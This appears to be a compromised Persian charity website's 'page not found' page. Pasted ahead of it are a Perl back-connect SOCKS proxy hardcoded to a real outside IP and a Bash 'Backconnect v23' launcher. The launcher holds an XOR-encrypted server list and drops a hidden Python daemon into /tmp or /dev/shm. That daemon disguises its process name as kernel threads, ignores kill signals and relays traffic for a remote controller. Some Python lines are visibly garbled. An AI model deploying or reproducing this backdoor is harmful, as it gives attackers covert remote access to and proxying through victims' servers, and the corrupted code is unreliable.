#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.162'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); #!/bin/bash # Backconnect v23 - Full daemonize (based on v22) N="bcksocks";D=3;PD="" ENC_DATA="7e4f7d5756474b4d734b48040209794d604550444b467e5057080a1d7c4c625f5746565478535703070663406b4b5247574e7f514a110105634b66504d4b5d5a7a504a0b06077e5960534d405041655c411f0306794367515052564265574c041c0a755762505648514078454a071c01784c7d5c5b5c54417d5f4d0501137e4f7d5756474b4d734b48040509794d604550444b467e5057080a1d7c4c6b5f5746565478535703070663406b4b52475c4e7f514a110105634b66504d4b5d5a7a53490b06077e5960534d405041655c411f03057c4367515052564265574c041c0a755762535148514078454a071c01784c7d5c5b5c5442785f4d0501137e4f7d5756474b4d734b48070609794d604550444b467e5057080a1d7c4f665f5746565478535703070663406b4b5244534e7f514a110105634b66504d4b5d5a7a534e0b06077e5960534d405041655c411f0305754367515052564265574c041c0a755762535a48514078454a071c01784c7d5c5b5c54437b5f4d0501137e4f7d5756474b4d734b48060309794d604550444b467e5057080a1d7c4e615f5746565478535703070663406b4b5245564e7f514a110105634b66504d4b5d5a7a524d0b06077e5960534d405041655c411f0304784367515052564265574c041c0a755762525548514078454a071c01784c7d5c5b5c54437c5f4d0501137e4f7d5756474b4d734b48060a09794d604550444b467e5057080a1d7c4e6a5f5746565478535703070663406b4b524a554e7f514a110105634b66504d4b5d5a7a5d480b06077e5960534d405041655c411f030b7f4367515052564265574c041c0a7557625d5048514078454a071c01784c7d5c5b5c544c7f5f4d0501137b4b7d53535c54477a4b48060a09794d604555404b427b4b4802031d7c4e6a5f574656547d575707021d7c4a624b524a554e7f514a110401634f634b5241545a7a5d480b06077e5965574d44555a7a56481f030b7f436751505253466553491f03007c57625d5048514078454f031c057d576256525c544c7f5f4d0501137b4b7d53535c54477a4b48090709794d604555404b427b4b4802031d7c41655f574656547d575707021d7c4a624b524a524e7f514a110401634f634b5241545a7a5d410b06077e5965574d44555a7a56481f030b74436751505253466553491f03007c57625c5348514078454f031c057d576256525c544d7a5f4d0501137b4b7d53535c54477a4b48080009794d604555404b427b4b4802031d7c40605f574656547d575707021d7c4a624b524b514e7f514a110401634f634b5241545a7a5c4c0b06077e5965574d44555a7a56481f030a7b436751505253466553491f03007c57625c5448514078454f031c057d576256525c544d735f4d0501137b4b7d53535c54477a4b48080b09794d604555404b427b4b4802031d7f49635f574656547d575707021d7c4a624b5142544e7f514a110401634f634b5241545a79554b0b06077e5965574d44555a7a56481f00037e436751505253466553491f03007c5761555748514078454f031c057d576256525c57447e5f4d0501137b4b7d53535c54477a4b4b040109794d60" find_writable() { for d in /tmp /var/tmp /dev/shm /run "$HOME"; do [ -d "$d" ] && [ -w "$d" ] && { echo "$d/.$N"; return; } done echo "./.$N" } PD="$(find_writable)" fp() { # SAFE: only python processes by interpreter + path, no network search pgrep -f "python.*$PD.*$1.*$2" 2>/dev/null } kt() { fp "$1" "$2" | sort -u | xargs -r kill -9 2>/dev/null; sleep 0.3; } ka(){ # SAFE: only kill python with our path pgrep -f "python.*$PD" 2>/dev/null | xargs -r kill -9 2>/dev/null rm -rf "$PD" echo "Done" exit 0 } st(){ echo "Status:" [ -d "$PD" ] || { echo " None"; exit 0; } for f in "$PD"/*.pid; do [ -f "$f" ] || continue p=$(cat "$f") n=$(basename "$f" .pid) kill -0 "$p" 2>/dev/null && echo " + $n ($p)" || echo " - $n" done exit 0 } xc() { local k="$1" local d="$2" local o="" i=0 local kl="${#k}" [ "$kl" -eq 0 ] && { echo ""; return; } while [ $i -lt ${#d} ]; do local dc="${d:$i:2}" [ ${#dc} -lt 2 ] && break local db=$((16#$dc)) local ki=$((i/2%kl)) local kb=$(printf '%d' "'${k:$ki:1}") local xb=$((db^kb)) o+=$(printf '%02x' $xb) i=$((i+2)) done echo "$o" } s2h() { local s="$1" o="" i; for ((i=0;i<${#s};i++)); do o+=$(printf '%02x' "'${s:$i:1}"); done; echo "$o"; } h2s() { local h="$1" o="" i; for ((i=0;i<${#h};i+=2)); do o+=$(printf "\\x${h:$i:2}"); done; echo -e "$o"; } enc_srv() { local k="$1"; shift; echo "ENC_DATA=\"$(xc "$k" "$(s2h "$*")")\""; } dec_srv() { [ -z "$2" ] && return; h2s "$(xc "$1" "$2")"; } spawn() { local host="$1" port="$2" id="$3" mkdir -p "$PD" 2>/dev/null local pidf="$PD/${id}.pid" local pyf="$PD/${id}.py" cat > "$pyf" << PYEND import socket,select,threading,random,time,os,sys,signal # === THREAD STACK SIZE (128KB instead of 8MB default) === try: threading.stack_size(131072) except: pass # === DAEMONIZE === def daemonize(pidfile): if os.fork() > 0: sys.exit(0) os.setsid() if os.fork() > 0: sys.exit(0) try: os.chdir('/') except: pass os.umask(0) for fd in range(3, 64): try: os.close(fd) except: pass sys.stdin = open('/dev/null', 'r') sys.stdout = open('/dev/null', 'w') sys.stderr = open('/dev/null', 'w') if pidfile: try: with open(pidfile, 'w') as f: f.write(str(os.getpid())) except: pass # === MASK PROCESS NAME === def mask_process(): names = ['kworker','migration','ksoftirqd','watchdog','rcu_sched','kswapd'] suffix = ['','/0','/1','/0:0','/0:1'] pn = random.choice(names) + random.choice(suffix) try: import ctypes libc = ctypes.CDLL('libc.so.6') libc.prctl(15, pn.encode(), 0, 0, 0) except: pass try: with open('/proc/self/comm', 'wb') as f: f.write(pn.encode()[:15]) except: pass H,P='${host}',${port} PF='${pidf}' daemonize(PF) mask_process() # Ignore ALL relevant signals including SIGPIPE for s in [1, 2, 13, 15]: try: signal.signal(s, signal.SIG_IGN) except: pass x=bytearray([random.randint(0,254) for _ in range(50)]) def rc4(p,b,s,z): L=len(p) for i in range(z):b[s+i]^=p[i%L] r=list(range(256));j=0 for i in range(256):j=(j+r[i]+p[i%L])&255;r[i],r[j]=r[j],r[i] i=j=0 for k in range(z): i=(i+1)&255;j=(j+r[i])&255;r[i],r[j]=r[j],r[i] b[s+k]^=r[(r[i]+r[j])&255] for i in range(z):b[s+i]^=p[i%L] SS=None SL=threading.Lock() # Lock для отправки на сервер AL=threading.Lock() # Lock для sa/sk массивов sa=[0]*200 sk=[None]*200 wc=0 # Worker count MAX_WORKERS=200 ALIVE=True # Флаг для остановки workers при реконнекте GEN=0 # Generation counter для определения старых workers def ssend(d,gen): """Отправка с защитой от SIGPIPE и проверкой generation""" global SS,GEN try: with SL: if SS and gen==GEN: # Используем send с таймаутом вместо sendall внутри lock SS.settimeout(5) try: SS.sendall(d) except (BrokenPipeError, ConnectionResetError, OSError): return 0 finally: SS.settimeout(None) return 1 except: return 0 def worker(n,cs,b0,gen): """Worker с проверкой generation""" global sa,sk,wc,GEN,ALIVE r=bytearray([n,10,0,5,1,0,1,0,0,0,0,0,0]) ok=0 try: if b0[7]==3: dl=b0[8];dom=b0[9:9+dl].decode('latin-1');pt=(b0[9+dl]<<8)|b0[9+dl+1] elif b0[7]==1: dom=f"{b0[8]}.{b0[9]}.{b0[10]}.{b0[11]}";pt=(b0[12]<<8)|b0[13] else:raise Exception() cs.settimeout(10) cs.connect((dom,pt)) cs.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,1) cs.settimeout(None) # Будем использовать select with AL: if gen==GEN and ALIVE: # Проверяем что не было реконнекта sa[n]=1;sk[n]=cs r[4]=0;ok=1 except: try:cs.close() except:pass rc4(x,r,0,3);rc4(x,r,3,10);ssend(bytes(r),gen) if ok: try: while True: # Проверяем флаги with AL: if sa[n]!=1 or gen!=GEN or not ALIVE:break # select с exceptfds для обнаружения ошибок try: rl,_,el=select.select([cs],[],[cs],1) except:break if el:break # Ошибка на сокете if rl: try: d=cs.recv(65530) except:break if not d:break buf=bytearray([n,len(d)&255,(len(d)>>8)&255])+bytearray(d) rc4(x,buf,0,3);rc4(x,buf,3,len(d)) if not ssend(bytes(buf),gen):break except:pass with AL: sa[n]=0;sk[n]=None if wc>0:wc-=1 try:cs.close() except:pass # Отправляем уведомление о закрытии только если generation совпадает if gen==GEN: r[1]=r[2]=0;rc4(x,r,0,3);ssend(bytes(r[:3]),gen) def main(): global SS,sa,sk,wc,ALIVE,GEN # Увеличиваем generation и останавливаем старые workers with AL: GEN+=1 ALIVE=True wc=0 for i in range(200): sa[i]=0 c=sk[i];sk[i]=None if c: try:c.close() except:pass gen=GEN # Локальная копия для этой сессии rm=r4=ebx=edx=0;b0=bytearray();ex=0;ka_time=time.time() try: SS=socket.socket(socket.AF_INET,socket.SOCK_STREAM) SS.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,1) SS.setsockopt(socket.SOL_SOCKET,socket.SO_KEEPALIVE,1) SS.settimeout(10) SS.connect((H,P)) SS.settimeout(None) hs=bytearray(100);hs[:50]=x;hs[50]=255;hs[51]=255;hs[54:60]=b"Python" rc4(x,hs,50,50);SS.sendall(bytes(hs)) while ALIVE and gen==GEN: if r4<4: # select с exceptfds try: rl,_,el=select.select([SS],[],[SS],60) except:break if el:break # Ошибка на сокете if not rl: if time.time()-ka_time>60: ka=bytearray(3);rc4(x,ka,0,3) if not ssend(bytes(ka),gen):break ka_time=time.time() continue try: d=SS.recv(4-r4) except:break if not d:break b0.extend(d);r4+=len(d);ka_time=time.time() if r4==4:rc4(x,b0,0,4);ebx=b0[1];edx=b0[2]|(b0[3]<<8) if r4==4: if edx==0: if len(b0)>=2 and b0[0]==255 and b0[1]==254:ex=1;break if 01048576:break # Max 1MB need=edx-rm if need>0: try: d=SS.recv(min(need,65536)) except:break if not d:break b0.extend(d);rm+=len(d) if rm==edx: rc4(x,b0,4,rm) if b0[0]==0: # ВАЖНО: Проверка диапазона ebx ПЕРЕД созданием worker if 0=MAX_WORKERS: r4=0;rm=0;b0=bytearray() continue wc+=1 cs=socket.socket(socket.AF_INET,socket.SOCK_STREAM) t=threading.Thread(target=worker,args=(ebx,cs,bytes(b0),gen),daemon=True) t.start() else: if 0/dev/null && return 0 return 1 } ir() { fp "$1" "$2" 2>/dev/null | grep -q .; } SRV=();FORCE=0 case "${1:-}" in -h|--help) echo "Usage: $0 [-f] srv:port..." echo " -e KEY srv:port... Encrypt" echo " -d KEY [-f] Decrypt+run" echo " -k / -s Kill/Status" exit 0 ;; -k) ka ;; -s) st ;; -e) [ -z "$2" ] && { echo "Need KEY"; exit 1; } K="$2"; shift 2 [ $# -eq 0 ] && { echo "Need servers"; exit 1; } enc_srv "$K" "$@" exit 0 ;; -d) [ -z "$2" ] && { echo "Need KEY"; exit 1; } K="$2"; shift 2 [ "${1:-}" = "-f" ] && { FORCE=1; shift; } [ -z "$ENC_DATA" ] && { echo "No encrypted data"; exit 1; } DE=$(dec_srv "$K" "$ENC_DATA") [ -z "$DE" ] && { echo "Decryption failed"; exit 1; } for s in $DE; do [[ "$s" == *:* ]] && SRV+=("$s") || SRV+=("$s:443"); done ;; -f) FORCE=1; shift for a in "$@"; do [[ "$a" == *:* ]] && SRV+=("$a") || SRV+=("$a:443"); done ;; *) for a in "$@"; do [[ "$a" == *:* ]] && SRV+=("$a") || SRV+=("$a:443"); done ;; esac [ ${#SRV[@]} -eq 0 ] && { echo "No servers. Use -h"; exit 1; } command -v python3 &>/dev/null || { echo "python3 required"; exit 1; } mkdir -p "$PD"; c=0 for s in "${SRV[@]}"; do h="${s%:*}"; p="${s#*:}"; id="${h}_${p}" c=$((c+1)) if ir "$h" "$p"; then if [ "$FORCE" = "1" ]; then printf "[$c/${#SRV[@]}] $h:$p replacing... " kt "$h" "$p" else echo "[$c/${#SRV[@]}] $h:$p running (use -f)" [ "$c" -lt "${#SRV[@]}" ] && sleep "$D" continue fi else printf "[$c/${#SRV[@]}] $h:$p " fi spawn "$h" "$p" "$id" && echo "OK" || echo "FAIL" [ "$c" -lt "${#SRV[@]}" ] && sleep "$D" done echo "Done" برگه پیدا نشد – hamnamak charity

ظاهرا پیوند به اینجا نادرست بوده است. لطفا جستجو کنید.

پیمایش به بالا